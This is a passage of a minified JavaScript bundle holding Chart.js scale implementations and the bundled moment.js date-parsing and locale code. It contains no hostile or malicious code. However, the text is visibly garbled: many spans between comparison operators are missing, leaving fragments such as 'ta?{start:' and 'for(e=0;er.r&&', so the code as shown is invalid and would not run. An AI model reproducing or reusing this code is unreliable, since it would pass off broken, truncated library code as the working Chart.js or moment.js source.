t=this,e=t.min,n=0;xn.prototype._configure.call(t),0===e&&(e=t._getFirstTickValue(t.minNotZero),n=Fn(t.options.ticks.fontSize,W.global.defaultFontSize)/t._length),t._startValue=In(e),t._valueOffset=n,t._valueRange=(In(t.max)-In(e))/(1-n)},getPixelForValue:function(t){var e=this,n=0;return(t=+e.getRightValue(t))>e.min&&t>0&&(n=(In(t)-e._startValue)/e._valueRange+e._valueOffset),e.getPixelForDecimal(n)},getValueForPixel:function(t){var e=this,n=e.getDecimalForPixel(t);return 0===n&&0===e.min?0:Math.pow(10,e._startValue+(n-e._valueOffset)*e._valueRange)}}),Wn=Ln;Nn._defaults=Wn;var Yn=H.valueOrDefault,zn=H.valueAtIndexOrDefault,En=H.options.resolve,Vn={display:!0,animate:!0,position:"chartArea",angleLines:{display:!0,color:"rgba(0,0,0,0.1)",lineWidth:1,borderDash:[],borderDashOffset:0},gridLines:{circular:!1},ticks:{showLabelBackdrop:!0,backdropColor:"rgba(255,255,255,0.75)",backdropPaddingY:2,backdropPaddingX:2,callback:on.formatters.linear},pointLabels:{display:!0,fontSize:10,callback:function(t){return t}}};function Hn(t){var e=t.ticks;return e.display&&t.display?Yn(e.fontSize,W.global.defaultFontSize)+2*e.backdropPaddingY:0}function Bn(t,e,n,i,a){return t===i||t===a?{start:e-n/2,end:e+n/2}:ta?{start:e-n,end:e}:{start:e,end:e+n}}function jn(t){return 0===t||180===t?"center":t<180?"left":"right"}function Un(t,e,n,i){var a,r,o=n.y+i/2;if(H.isArray(e))for(a=0,r=e.length;a270||t<90)&&(n.y-=e.h)}function qn(t){return H.isNumber(t)?t:0}var Zn=Dn.extend({setDimensions:function(){var t=this;t.width=t.maxWidth,t.height=t.maxHeight,t.paddingTop=Hn(t.options)/2,t.xCenter=Math.floor(t.width/2),t.yCenter=Math.floor((t.height-t.paddingTop)/2),t.drawingArea=Math.min(t.height-t.paddingTop,t.width)/2},determineDataLimits:function(){var t=this,e=t.chart,n=Number.POSITIVE_INFINITY,i=Number.NEGATIVE_INFINITY;H.each(e.data.datasets,(function(a,r){if(e.isDatasetVisible(r)){var o=e.getDatasetMeta(r);H.each(a.data,(function(e,a){var r=+t.getRightValue(e);isNaN(r)||o.data[a].hidden||(n=Math.min(r,n),i=Math.max(r,i))}))}})),t.min=n===Number.POSITIVE_INFINITY?0:n,t.max=i===Number.NEGATIVE_INFINITY?0:i,t.handleTickRangeOptions()},_computeTickLimit:function(){return Math.ceil(this.drawingArea/Hn(this.options))},convertTicksToLabels:function(){var t=this;Dn.prototype.convertTicksToLabels.call(t),t.pointLabels=t.chart.data.labels.map((function(){var e=H.callback(t.options.pointLabels.callback,arguments,t);return e||0===e?e:""}))},getLabelForIndex:function(t,e){return+this.getRightValue(this.chart.data.datasets[e].data[t])},fit:function(){var t=this.options;t.display&&t.pointLabels.display?function(t){var e,n,i,a=H.options._parseFont(t.options.pointLabels),r={l:0,r:t.width,t:0,b:t.height-t.paddingTop},o={};t.ctx.font=a.string,t._pointLabelSizes=[];var s,l,u,d=t.chart.data.labels.length;for(e=0;er.r&&(r.r=f.end,o.r=h),g.startr.b&&(r.b=g.end,o.b=h)}t.setReductions(t.drawingArea,r,o)}(this):this.setCenterPoint(0,0,0,0)},setReductions:function(t,e,n){var i=this,a=e.l/Math.sin(n.l),r=Math.max(e.r-i.width,0)/Math.sin(n.r),o=-e.t/Math.cos(n.t),s=-Math.max(e.b-(i.height-i.paddingTop),0)/Math.cos(n.b);a=qn(a),r=qn(r),o=qn(o),s=qn(s),i.drawingArea=Math.min(Math.floor(t-(a+r)/2),Math.floor(t-(o+s)/2)),i.setCenterPoint(a,r,o,s)},setCenterPoint:function(t,e,n,i){var a=this,r=a.width-e-a.drawingArea,o=t+a.drawingArea,s=n+a.drawingArea,l=a.height-a.paddingTop-i-a.drawingArea;a.xCenter=Math.floor((o+r)/2+a.left),a.yCenter=Math.floor((s+l)/2+a.top+a.paddingTop)},getIndexAngle:function(t){var e=this.chart,n=(t*(360/e.data.labels.length)+((e.options||{}).startAngle||0))%360;return(n<0?n+360:n)*Math.PI*2/360},getDistanceFromCenterForValue:function(t){var e=this;if(H.isNullOrUndef(t))return NaN;var n=e.drawingArea/(e.max-e.min);return e.options.ticks.reverse?(e.max-t)*n:(t-e.min)*n},getPointPosition:function(t,e){var n=this.getIndexAngle(t)-Math.PI/2;return{x:Math.cos(n)*e+this.xCenter,y:Math.sin(n)*e+this.yCenter}},getPointPositionForValue:function(t,e){return this.getPointPosition(t,this.getDistanceFromCenterForValue(e))},getBasePosition:function(t){var e=this.min,n=this.max;return this.getPointPositionForValue(t||0,this.beginAtZero?0:e<0&&n<0?n:e>0&&n>0?e:0)},_drawGrid:function(){var t,e,n,i=this,a=i.ctx,r=i.options,o=r.gridLines,s=r.angleLines,l=Yn(s.lineWidth,o.lineWidth),u=Yn(s.color,o.color);if(r.pointLabels.display&&function(t){var e=t.ctx,n=t.options,i=n.pointLabels,a=Hn(n),r=t.getDistanceFromCenterForValue(n.ticks.reverse?t.min:t.max),o=H.options._parseFont(i);e.save(),e.font=o.string,e.textBaseline="middle";for(var s=t.chart.data.labels.length-1;s>=0;s--){var l=0===s?a/2:0,u=t.getPointPosition(s,r+l+5),d=zn(i.fontColor,s,W.global.defaultFontColor);e.fillStyle=d;var h=t.getIndexAngle(s),c=H.toDegrees(h);e.textAlign=jn(c),Gn(c,t._pointLabelSizes[s],u),Un(e,t.pointLabels[s],u,o.lineHeight)}e.restore()}(i),o.display&&H.each(i.ticks,(function(t,n){0!==n&&(e=i.getDistanceFromCenterForValue(i.ticksAsNumbers[n]),function(t,e,n,i){var a,r=t.ctx,o=e.circular,s=t.chart.data.labels.length,l=zn(e.color,i-1),u=zn(e.lineWidth,i-1);if((o||s)&&l&&u){if(r.save(),r.strokeStyle=l,r.lineWidth=u,r.setLineDash&&(r.setLineDash(e.borderDash||[]),r.lineDashOffset=e.borderDashOffset||0),r.beginPath(),o)r.arc(t.xCenter,t.yCenter,n,0,2*Math.PI);else{a=t.getPointPosition(0,n),r.moveTo(a.x,a.y);for(var d=1;d=0;t--)e=i.getDistanceFromCenterForValue(r.ticks.reverse?i.min:i.max),n=i.getPointPosition(t,e),a.beginPath(),a.moveTo(i.xCenter,i.yCenter),a.lineTo(n.x,n.y),a.stroke();a.restore()}},_drawLabels:function(){var t=this,e=t.ctx,n=t.options.ticks;if(n.display){var i,a,r=t.getIndexAngle(0),o=H.options._parseFont(n),s=Yn(n.fontColor,W.global.defaultFontColor);e.save(),e.font=o.string,e.translate(t.xCenter,t.yCenter),e.rotate(r),e.textAlign="center",e.textBaseline="middle",H.each(t.ticks,(function(r,l){(0!==l||n.reverse)&&(i=t.getDistanceFromCenterForValue(t.ticksAsNumbers[l]),n.showLabelBackdrop&&(a=e.measureText(r).width,e.fillStyle=n.backdropColor,e.fillRect(-a/2-n.backdropPaddingX,-i-o.size/2-n.backdropPaddingY,a+2*n.backdropPaddingX,o.size+2*n.backdropPaddingY)),e.fillStyle=s,e.fillText(r,0,-i))})),e.restore()}},_drawTitle:H.noop}),$n=Vn;Zn._defaults=$n;var Xn=H._deprecated,Kn=H.options.resolve,Jn=H.valueOrDefault,Qn=Number.MIN_SAFE_INTEGER||-9007199254740991,ti=Number.MAX_SAFE_INTEGER||9007199254740991,ei={millisecond:{common:!0,size:1,steps:1e3},second:{common:!0,size:1e3,steps:60},minute:{common:!0,size:6e4,steps:60},hour:{common:!0,size:36e5,steps:24},day:{common:!0,size:864e5,steps:30},week:{common:!1,size:6048e5,steps:4},month:{common:!0,size:2628e6,steps:12},quarter:{common:!1,size:7884e6,steps:4},year:{common:!0,size:3154e7}},ni=Object.keys(ei);function ii(t,e){return t-e}function ai(t){return H.valueOrDefault(t.time.min,t.ticks.min)}function ri(t){return H.valueOrDefault(t.time.max,t.ticks.max)}function oi(t,e,n,i){var a=function(t,e,n){for(var i,a,r,o=0,s=t.length-1;o>=0&&o<=s;){if(a=t[(i=o+s>>1)-1]||null,r=t[i],!a)return{lo:null,hi:r};if(r[e]n))return{lo:a,hi:r};s=i-1}}return{lo:r,hi:null}}(t,e,n),r=a.lo?a.hi?a.lo:t[t.length-2]:t[0],o=a.lo?a.hi?a.hi:t[t.length-1]:t[1],s=o[e]-r[e],l=s?(n-r[e])/s:0,u=(o[i]-r[i])*l;return r[i]+u}function si(t,e){var n=t._adapter,i=t.options.time,a=i.parser,r=a||i.format,o=e;return"function"==typeof a&&(o=a(o)),H.isFinite(o)||(o="string"==typeof r?n.parse(o,r):n.parse(o)),null!==o?+o:(a||"function"!=typeof r||(o=r(e),H.isFinite(o)||(o=n.parse(o))),o)}function li(t,e){if(H.isNullOrUndef(e))return null;var n=t.options.time,i=si(t,t.getRightValue(e));return null===i?i:(n.round&&(i=+t._adapter.startOf(i,n.round)),i)}function ui(t,e,n,i){var a,r,o,s=ni.length;for(a=ni.indexOf(t);a=0&&(e[r].major=!0);return e}(t,r,o,n):r}var hi=xn.extend({initialize:function(){this.mergeTicksOptions(),xn.prototype.initialize.call(this)},update:function(){var t=this,e=t.options,n=e.time||(e.time={}),i=t._adapter=new rn._date(e.adapters.date);return Xn("time scale",n.format,"time.format","time.parser"),Xn("time scale",n.min,"time.min","ticks.min"),Xn("time scale",n.max,"time.max","ticks.max"),H.mergeIf(n.displayFormats,i.formats()),xn.prototype.update.apply(t,arguments)},getRightValue:function(t){return t&&void 0!==t.t&&(t=t.t),xn.prototype.getRightValue.call(this,t)},determineDataLimits:function(){var t,e,n,i,a,r,o,s=this,l=s.chart,u=s._adapter,d=s.options,h=d.time.unit||"day",c=ti,f=Qn,g=[],m=[],p=[],v=s._getLabels();for(t=0,n=v.length;t1?function(t){var e,n,i,a={},r=[];for(e=0,n=t.length;e1e5*u)throw e+" and "+n+" are too far apart with stepSize of "+u+" "+l;for(a=h;a=a&&n<=r&&d.push(n);return i.min=a,i.max=r,i._unit=l.unit||(s.autoSkip?ui(l.minUnit,i.min,i.max,h):function(t,e,n,i,a){var r,o;for(r=ni.length-1;r>=ni.indexOf(n);r--)if(o=ni[r],ei[o].common&&t._adapter.diff(a,i,o)>=e-1)return o;return ni[n?ni.indexOf(n):0]}(i,d.length,l.minUnit,i.min,i.max)),i._majorUnit=s.major.enabled&&"year"!==i._unit?function(t){for(var e=ni.indexOf(t)+1,n=ni.length;ee&&s=0&&t0?s:1}}),ci={position:"bottom",distribution:"linear",bounds:"data",adapters:{},time:{parser:!1,unit:!1,round:!1,displayFormat:!1,isoWeekday:!1,minUnit:"millisecond",displayFormats:{}},ticks:{autoSkip:!1,source:"auto",major:{enabled:!1}}};hi._defaults=ci;var fi={category:wn,linear:On,logarithmic:Nn,radialLinear:Zn,time:hi},gi=e((function(e,n){e.exports=function(){var n,i;function a(){return n.apply(null,arguments)}function r(t){return t instanceof Array||"[object Array]"===Object.prototype.toString.call(t)}function o(t){return null!=t&&"[object Object]"===Object.prototype.toString.call(t)}function s(t){return void 0===t}function l(t){return"number"==typeof t||"[object Number]"===Object.prototype.toString.call(t)}function u(t){return t instanceof Date||"[object Date]"===Object.prototype.toString.call(t)}function d(t,e){var n,i=[];for(n=0;n>>0,i=0;i0)for(n=0;n=0?n?"+":"":"-")+Math.pow(10,Math.max(0,a)).toString().substr(1)+i}var E=/(\[[^\[]*\])|(\\)?([Hh]mm(ss)?|Mo|MM?M?M?|Do|DDDo|DD?D?D?|ddd?d?|do?|w[o|w]?|W[o|W]?|Qo?|YYYYYY|YYYYY|YYYY|YY|gg(ggg?)?|GG(GGG?)?|e|E|a|A|hh?|HH?|kk?|mm?|ss?|S{1,9}|x|X|zz?|ZZ?|.)/g,V=/(\[[^\[]*\])|(\\)?(LTS|LT|LL?L?L?|l{1,4})/g,H={},B={};function j(t,e,n,i){var a=i;"string"==typeof i&&(a=function(){return this[i]()}),t&&(B[t]=a),e&&(B[e[0]]=function(){return z(a.apply(this,arguments),e[1],e[2])}),n&&(B[n]=function(){return this.localeData().ordinal(a.apply(this,arguments),t)})}function U(t,e){return t.isValid()?(e=G(e,t.localeData()),H[e]=H[e]||function(t){var e,n,i,a=t.match(E);for(e=0,n=a.length;e=0&&V.test(t);)t=t.replace(V,i),V.lastIndex=0,n-=1;return t}var q=/\d/,Z=/\d\d/,$=/\d{3}/,X=/\d{4}/,K=/[+-]?\d{6}/,J=/\d\d?/,Q=/\d\d\d\d?/,tt=/\d\d\d\d\d\d?/,et=/\d{1,3}/,nt=/\d{1,4}/,it=/[+-]?\d{1,6}/,at=/\d+/,rt=/[+-]?\d+/,ot=/Z|[+-]\d\d:?\d\d/gi,st=/Z|[+-]\d\d(?::?\d\d)?/gi,lt=/[0-9]{0,256}['a-z\u00A0-\u05FF\u0700-\uD7FF\uF900-\uFDCF\uFDF0-\uFF07\uFF10-\uFFEF]{1,256}|[\u0600-\u06FF\/]{1,256}(\s*?[\u0600-\u06FF]{1,256}){1,2}/i,ut={};function dt(t,e,n){ut[t]=O(e)?e:function(t,i){return t&&n?n:e}}function ht(t,e){return h(ut,t)?ut[t](e._strict,e._locale):new RegExp(ct(t.replace("\\","").replace(/\\(\[)|\\(\])|\[([^\]\[]*)\]|\\(.)/g,(function(t,e,n,i,a){return e||n||i||a}))))}function ct(t){return t.replace(/[-\/\\^$*+?.()|[\]{}]/g,"\\$&")}var ft={};function gt(t,e){var n,i=e;for("string"==typeof t&&(t=[t]),l(e)&&(i=function(t,n){n[e]=k(t)}),n=0;n68?1900:2e3)};var Pt,Tt=Ot("FullYear",!0);function Ot(t,e){return function(n){return null!=n?(Ft(this,t,n),a.updateOffset(this,e),this):At(this,t)}}function At(t,e){return t.isValid()?t._d["get"+(t._isUTC?"UTC":"")+e]():NaN}function Ft(t,e,n){t.isValid()&&!isNaN(n)&&("FullYear"===e&&Ct(t.year())&&1===t.month()&&29===t.date()?t._d["set"+(t._isUTC?"UTC":"")+e](n,t.month(),It(n,t.month())):t._d["set"+(t._isUTC?"UTC":"")+e](n))}function It(t,e){if(isNaN(t)||isNaN(e))return NaN;var n=function(t,e){return(t%e+e)%e}(e,12);return t+=(e-n)/12,1===n?Ct(t)?29:28:31-n%7%2}Pt=Array.prototype.indexOf?Array.prototype.indexOf:function(t){var e;for(e=0;e=0?(s=new Date(t+400,e,n,i,a,r,o),isFinite(s.getFullYear())&&s.setFullYear(t)):s=new Date(t,e,n,i,a,r,o),s}function jt(t){var e;if(t<100&&t>=0){var n=Array.prototype.slice.call(arguments);n[0]=t+400,e=new Date(Date.UTC.apply(null,n)),isFinite(e.getUTCFullYear())&&e.setUTCFullYear(t)}else e=new Date(Date.UTC.apply(null,arguments));return e}function Ut(t,e,n){var i=7+e-n;return-(7+jt(t,0,i).getUTCDay()-e)%7+i-1}function Gt(t,e,n,i,a){var r,o,s=1+7*(e-1)+(7+n-i)%7+Ut(t,i,a);return s<=0?o=Dt(r=t-1)+s:s>Dt(t)?(r=t+1,o=s-Dt(t)):(r=t,o=s),{year:r,dayOfYear:o}}function qt(t,e,n){var i,a,r=Ut(t.year(),e,n),o=Math.floor((t.dayOfYear()-r-1)/7)+1;return o<1?i=o+Zt(a=t.year()-1,e,n):o>Zt(t.year(),e,n)?(i=o-Zt(t.year(),e,n),a=t.year()+1):(a=t.year(),i=o),{week:i,year:a}}function Zt(t,e,n){var i=Ut(t,e,n),a=Ut(t+1,e,n);return(Dt(t)-i+a)/7}function $t(t,e){return t.slice(e,7).concat(t.slice(0,e))}j("w",["ww",2],"wo","week"),j("W",["WW",2],"Wo","isoWeek"),L("week","w"),L("isoWeek","W"),Y("week",5),Y("isoWeek",5),dt("w",J),dt("ww",J,Z),dt("W",J),dt("WW",J,Z),mt(["w","ww","W","WW"],(function(t,e,n,i){e[i.substr(0,1)]=k(t)})),j("d",0,"do","day"),j("dd",0,0,(function(t){return this.localeData().weekdaysMin(this,t)})),j("ddd",0,0,(function(t){return this.localeData().weekdaysShort(this,t)})),j("dddd",0,0,(function(t){return this.localeData().weekdays(this,t)})),j("e",0,0,"weekday"),j("E",0,0,"isoWeekday"),L("day","d"),L("weekday","e"),L("isoWeekday","E"),Y("day",11),Y("weekday",11),Y("isoWeekday",11),dt("d",J),dt("e",J),dt("E",J),dt("dd",(function(t,e){return e.weekdaysMinRegex(t)})),dt("ddd",(function(t,e){return e.weekdaysShortRegex(t)})),dt("dddd",(function(t,e){return e.weekdaysRegex(t)})),mt(["dd","ddd","dddd"],(function(t,e,n,i){var a=n._locale.weekdaysParse(t,i,n._strict);null!=a?e.d=a:g(n).invalidWeekday=t})),mt(["d","e","E"],(function(t,e,n,i){e[i]=k(t)}));var Xt="Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),Kt="Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),Jt="Su_Mo_Tu_We_Th_Fr_Sa".split("_");function Qt(t,e,n){var i,a,r,o=t.toLocaleLowerCase();if(!this._weekdaysParse)for(this._weekdaysParse=[],this._shortWeekdaysParse=[],this._minWeekdaysParse=[],i=0;i<7;++i)r=f([2e3,1]).day(i),this._minWeekdaysParse[i]=this.weekdaysMin(r,"").toLocaleLowerCase(),this._shortWeekdaysParse[i]=this.weekdaysShort(r,"").toLocaleLowerCase(),this._weekdaysParse[i]=this.weekdays(r,"").toLocaleLowerCase();return n?"dddd"===e?-1!==(a=Pt.call(this._weekdaysParse,o))?a:null:"ddd"===e?-1!==(a=Pt.call(this._shortWeekdaysParse,o))?a:null:-1!==(a=Pt.call(this._minWeekdaysParse,o))?a:null:"dddd"===e?-1!==(a=Pt.call(this._weekdaysParse,o))?a:-1!==(a=Pt.call(this._shortWeekdaysParse,o))?a:-1!==(a=Pt.call(this._minWeekdaysParse,o))?a:null:"ddd"===e?-1!==(a=Pt.call(this._shortWeekdaysParse,o))?a:-1!==(a=Pt.call(this._weekdaysParse,o))?a:-1!==(a=Pt.call(this._minWeekdaysParse,o))?a:null:-1!==(a=Pt.call(this._minWeekdaysParse,o))?a:-1!==(a=Pt.call(this._weekdaysParse,o))?a:-1!==(a=Pt.call(this._shortWeekdaysParse,o))?a:null}var te=lt,ee=lt,ne=lt;function ie(){function t(t,e){return e.length-t.length}var e,n,i,a,r,o=[],s=[],l=[],u=[];for(e=0;e<7;e++)n=f([2e3,1]).day(e),i=this.weekdaysMin(n,""),a=this.weekdaysShort(n,""),r=this.weekdays(n,""),o.push(i),s.push(a),l.push(r),u.push(i),u.push(a),u.push(r);for(o.sort(t),s.sort(t),l.sort(t),u.sort(t),e=0;e<7;e++)s[e]=ct(s[e]),l[e]=ct(l[e]),u[e]=ct(u[e]);this._weekdaysRegex=new RegExp("^("+u.join("|")+")","i"),this._weekdaysShortRegex=this._weekdaysRegex,this._weekdaysMinRegex=this._weekdaysRegex,this._weekdaysStrictRegex=new RegExp("^("+l.join("|")+")","i"),this._weekdaysShortStrictRegex=new RegExp("^("+s.join("|")+")","i"),this._weekdaysMinStrictRegex=new RegExp("^("+o.join("|")+")","i")}function ae(){return this.hours()%12||12}function re(t,e){j(t,0,0,(function(){return this.localeData().meridiem(this.hours(),this.minutes(),e)}))}function oe(t,e){return e._meridiemParse}j("H",["HH",2],0,"hour"),j("h",["hh",2],0,ae),j("k",["kk",2],0,(function(){return this.hours()||24})),j("hmm",0,0,(function(){return""+ae.apply(this)+z(this.minutes(),2)})),j("hmmss",0,0,(function(){return""+ae.apply(this)+z(this.minutes(),2)+z(this.seconds(),2)})),j("Hmm",0,0,(function(){return""+this.hours()+z(this.minutes(),2)})),j("Hmmss",0,0,(function(){return""+this.hours()+z(this.minutes(),2)+z(this.seconds(),2)})),re("a",!0),re("A",!1),L("hour","h"),Y("hour",13),dt("a",oe),dt("A",oe),dt("H",J),dt("h",J),dt("k",J),dt("HH",J,Z),dt("hh",J,Z),dt("kk",J,Z),dt("hmm",Q),dt("hmmss",tt),dt("Hmm",Q),dt("Hmmss",tt),gt(["H","HH"],xt),gt(["k","kk"],(function(t,e,n){var i=k(t);e[xt]=24===i?0:i})),gt(["a","A"],(function(t,e,n){n._isPm=n._locale.isPM(t),n._meridiem=t})),gt(["h","hh"],(function(t,e,n){e[xt]=k(t),g(n).bigHour=!0})),gt("hmm",(function(t,e,n){var i=t.length-2;e[xt]=k(t.substr(0,i)),e[_t]=k(t.substr(i)),g(n).bigHour=!0})),gt("hmmss",(function(t,e,n){var i=t.length-4,a=t.length-2;e[xt]=k(t.substr(0,i)),e[_t]=k(t.substr(i,2)),e[wt]=k(t.substr(a)),g(n).bigHour=!0})),gt("Hmm",(function(t,e,n){var i=t.length-2;e[xt]=k(t.substr(0,i)),e[_t]=k(t.substr(i))})),gt("Hmmss",(function(t,e,n){var i=t.length-4,a=t.length-2;e[xt]=k(t.substr(0,i)),e[_t]=k(t.substr(i,2)),e[wt]=k(t.substr(a))}));var se,le=Ot("Hours",!0),ue={calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},longDateFormat:{LTS:"h:mm:ss A",LT:"h:mm A",L:"MM/DD/YYYY",LL:"MMMM D, YYYY",LLL:"MMMM D, YYYY h:mm A",LLLL:"dddd, MMMM D, YYYY h:mm A"},invalidDate:"Invalid date",ordinal:"%d",dayOfMonthOrdinalParse:/\d{1,2}/,relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},months:Rt,monthsShort:Nt,week:{dow:0,doy:6},weekdays:Xt,weekdaysMin:Jt,weekdaysShort:Kt,meridiemParse:/[ap]\.?m?\.?/i},de={},he={};function ce(t){return t?t.toLowerCase().replace("_","-"):t}function fe(n){var i=null;if(!de[n]&&e&&e.exports)try{i=se._abbr,t(),ge(i)}catch(t){}return de[n]}function ge(t,e){var n;return t&&((n=s(e)?pe(t):me(t,e))?se=n:"undefined"!=typeof console&&console.warn&&console.warn("Locale "+t+" not found. Did you forget to load it?")),se._abbr}function me(t,e){if(null!==e){var n,i=ue;if(e.abbr=t,null!=de[t])T("defineLocaleOverride","use moment.updateLocale(localeName, config) to change an existing locale. moment.defineLocale(localeName, config) should only be used for creating a new locale See http://momentjs.com/guides/#/warnings/define-locale/ for more info."),i=de[t]._config;else if(null!=e.parentLocale)if(null!=de[e.parentLocale])i=de[e.parentLocale]._config;else{if(null==(n=fe(e.parentLocale)))return he[e.parentLocale]||(he[e.parentLocale]=[]),he[e.parentLocale].push({name:t,config:e}),null;i=n._config}return de[t]=new F(A(i,e)),he[t]&&he[t].forEach((function(t){me(t.name,t.config)})),ge(t),de[t]}return delete de[t],null}function pe(t){var e;if(t&&t._locale&&t._locale._abbr&&(t=t._locale._abbr),!t)return se;if(!r(t)){if(e=fe(t))return e;t=[t]}return function(t){for(var e,n,i,a,r=0;r0;){if(i=fe(a.slice(0,e).join("-")))return i;if(n&&n.length>=e&&M(a,n,!0)>=e-1)break;e--}r++}return se}(t)}function ve(t){var e,n=t._a;return n&&-2===g(t).overflow&&(e=n[bt]<0||n[bt]>11?bt:n[yt]<1||n[yt]>It(n[vt],n[bt])?yt:n[xt]<0||n[xt]>24||24===n[xt]&&(0!==n[_t]||0!==n[wt]||0!==n[kt])?xt:n[_t]<0||n[_t]>59?_t:n[wt]<0||n[wt]>59?wt:n[kt]<0||n[kt]>999?kt:-1,g(t)._overflowDayOfYear&&(eyt)&&(e=yt),g(t)._overflowWeeks&&-1===e&&(e=Mt),g(t)._overflowWeekday&&-1===e&&(e=St),g(t).overflow=e),t}function be(t,e,n){return null!=t?t:null!=e?e:n}function ye(t){var e,n,i,r,o,s=[];if(!t._d){for(i=function(t){var e=new Date(a.now());return t._useUTC?[e.getUTCFullYear(),e.getUTCMonth(),e.getUTCDate()]:[e.getFullYear(),e.getMonth(),e.getDate()]}(t),t._w&&null==t._a[yt]&&null==t._a[bt]&&function(t){var e,n,i,a,r,o,s,l;if(null!=(e=t._w).GG||null!=e.W||null!=e.E)r=1,o=4,n=be(e.GG,t._a[vt],qt(Le(),1,4).year),i=be(e.W,1),((a=be(e.E,1))<1||a>7)&&(l=!0);else{r=t._locale._week.dow,o=t._locale._week.doy;var u=qt(Le(),r,o);n=be(e.gg,t._a[vt],u.year),i=be(e.w,u.week),null!=e.d?((a=e.d)<0||a>6)&&(l=!0):null!=e.e?(a=e.e+r,(e.e<0||e.e>6)&&(l=!0)):a=r}i<1||i>Zt(n,r,o)?g(t)._overflowWeeks=!0:null!=l?g(t)._overflowWeekday=!0:(s=Gt(n,i,a,r,o),t._a[vt]=s.year,t._dayOfYear=s.dayOfYear)}(t),null!=t._dayOfYear&&(o=be(t._a[vt],i[vt]),(t._dayOfYear>Dt(o)||0===t._dayOfYear)&&(g(t)._overflowDayOfYear=!0),n=jt(o,0,t._dayOfYear),t._a[bt]=n.getUTCMonth(),t._a[yt]=n.getUTCDate()),e=0;e<3&&null==t._a[e];++e)t._a[e]=s[e]=i[e];for(;e<7;e++)t._a[e]=s[e]=null==t._a[e]?2===e?1:0:t._a[e];24===t._a[xt]&&0===t._a[_t]&&0===t._a[wt]&&0===t._a[kt]&&(t._nextDay=!0,t._a[xt]=0),t._d=(t._useUTC?jt:Bt).apply(null,s),r=t._useUTC?t._d.getUTCDay():t._d.getDay(),null!=t._tzm&&t._d.setUTCMinutes(t._d.getUTCMinutes()-t._tzm),t._nextDay&&(t._a[xt]=24),t._w&&void 0!==t._w.d&&t._w.d!==r&&(g(t).weekdayMismatch=!0)}}var xe=/^\s*((?:[+-]\d{6}|\d{4})-(?:\d\d-\d\d|W\d\d-\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?::\d\d(?::\d\d(?:[.,]\d+)?)?)?)([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/,_e=/^\s*((?:[+-]\d{6}|\d{4})(?:\d\d\d\d|W\d\d\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?:\d\d(?:\d\d(?:[.,]\d+)?)?)?)([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/,we=/Z|[+-]\d\d(?::?\d\d)?/,ke=[["YYYYYY-MM-DD",/[+-]\d{6}-\d\d-\d\d/],["YYYY-MM-DD",/\d{4}-\d\d-\d\d/],["GGGG-[W]WW-E",/\d{4}-W\d\d-\d/],["GGGG-[W]WW",/\d{4}-W\d\d/,!1],["YYYY-DDD",/\d{4}-\d{3}/],["YYYY-MM",/\d{4}-\d\d/,!1],["YYYYYYMMDD",/[+-]\d{10}/],["YYYYMMDD",/\d{8}/],["GGGG[W]WWE",/\d{4}W\d{3}/],["GGGG[W]WW",/\d{4}W\d{2}/,!1],["YYYYDDD",/\d{7}/]],Me=[["HH:mm:ss.SSSS",/\d\d:\d\d:\d\d\.\d+/],["HH:mm:ss,SSSS",/\d\d:\d\d:\d\d,\d+/],["HH:mm:ss",/\d\d:\d\d:\d\d/],["HH:mm",/\d\d:\d\d/],["HHmmss.SSSS",/\d\d\d\d\d\d\.\d+/],["HHmmss,SSSS",/\d\d\d\d\d\d,\d+/],["HHmmss",/\d\d\d\d\d\d/],["HHmm",/\d\d\d\d/],["HH",/\d\d/]],Se=/^\/?Date\((\-?\d+)/i;function De(t){var e,n,i,a,r,o,s=t._i,l=xe.exec(s)||_e.exec(s);if(l){for(g(t).iso=!0,e=0,n=ke.length;e0&&g(t).unusedInput.push(o),s=s.slice(s.indexOf(n)+n.length),u+=n.length),B[r]?(n?g(t).empty=!1:g(t).unusedTokens.push(r),pt(r,n,t)):t._strict&&!n&&g(t).unusedTokens.push(r);g(t).charsLeftOver=l-u,s.length>0&&g(t).unusedInput.push(s),t._a[xt]<=12&&!0===g(t).bigHour&&t._a[xt]>0&&(g(t).bigHour=void 0),g(t).parsedDateParts=t._a.slice(0),g(t).meridiem=t._meridiem,t._a[xt]=function(t,e,n){var i;return null==n?e:null!=t.meridiemHour?t.meridiemHour(e,n):null!=t.isPM?((i=t.isPM(n))&&e<12&&(e+=12),i||12!==e||(e=0),e):e}(t._locale,t._a[xt],t._meridiem),ye(t),ve(t)}else Oe(t);else De(t)}function Fe(t){var e=t._i,n=t._f;return t._locale=t._locale||pe(t._l),null===e||void 0===n&&""===e?p({nullInput:!0}):("string"==typeof e&&(t._i=e=t._locale.preparse(e)),_(e)?new x(ve(e)):(u(e)?t._d=e:r(n)?function(t){var e,n,i,a,r;if(0===t._f.length)return g(t).invalidFormat=!0,void(t._d=new Date(NaN));for(a=0;athis?this:t:p()}));function We(t,e){var n,i;if(1===e.length&&r(e[0])&&(e=e[0]),!e.length)return Le();for(n=e[0],i=1;i=0?new Date(t+400,e,n)-hn:new Date(t,e,n).valueOf()}function gn(t,e,n){return t<100&&t>=0?Date.UTC(t+400,e,n)-hn:Date.UTC(t,e,n)}function mn(t,e){j(0,[t,t.length],0,e)}function pn(t,e,n,i,a){var r;return null==t?qt(this,i,a).year:(e>(r=Zt(t,i,a))&&(e=r),vn.call(this,t,e,n,i,a))}function vn(t,e,n,i,a){var r=Gt(t,e,n,i,a),o=jt(r.year,0,r.dayOfYear);return this.year(o.getUTCFullYear()),this.month(o.getUTCMonth()),this.date(o.getUTCDate()),this}j(0,["gg",2],0,(function(){return this.weekYear()%100})),j(0,["GG",2],0,(function(){return 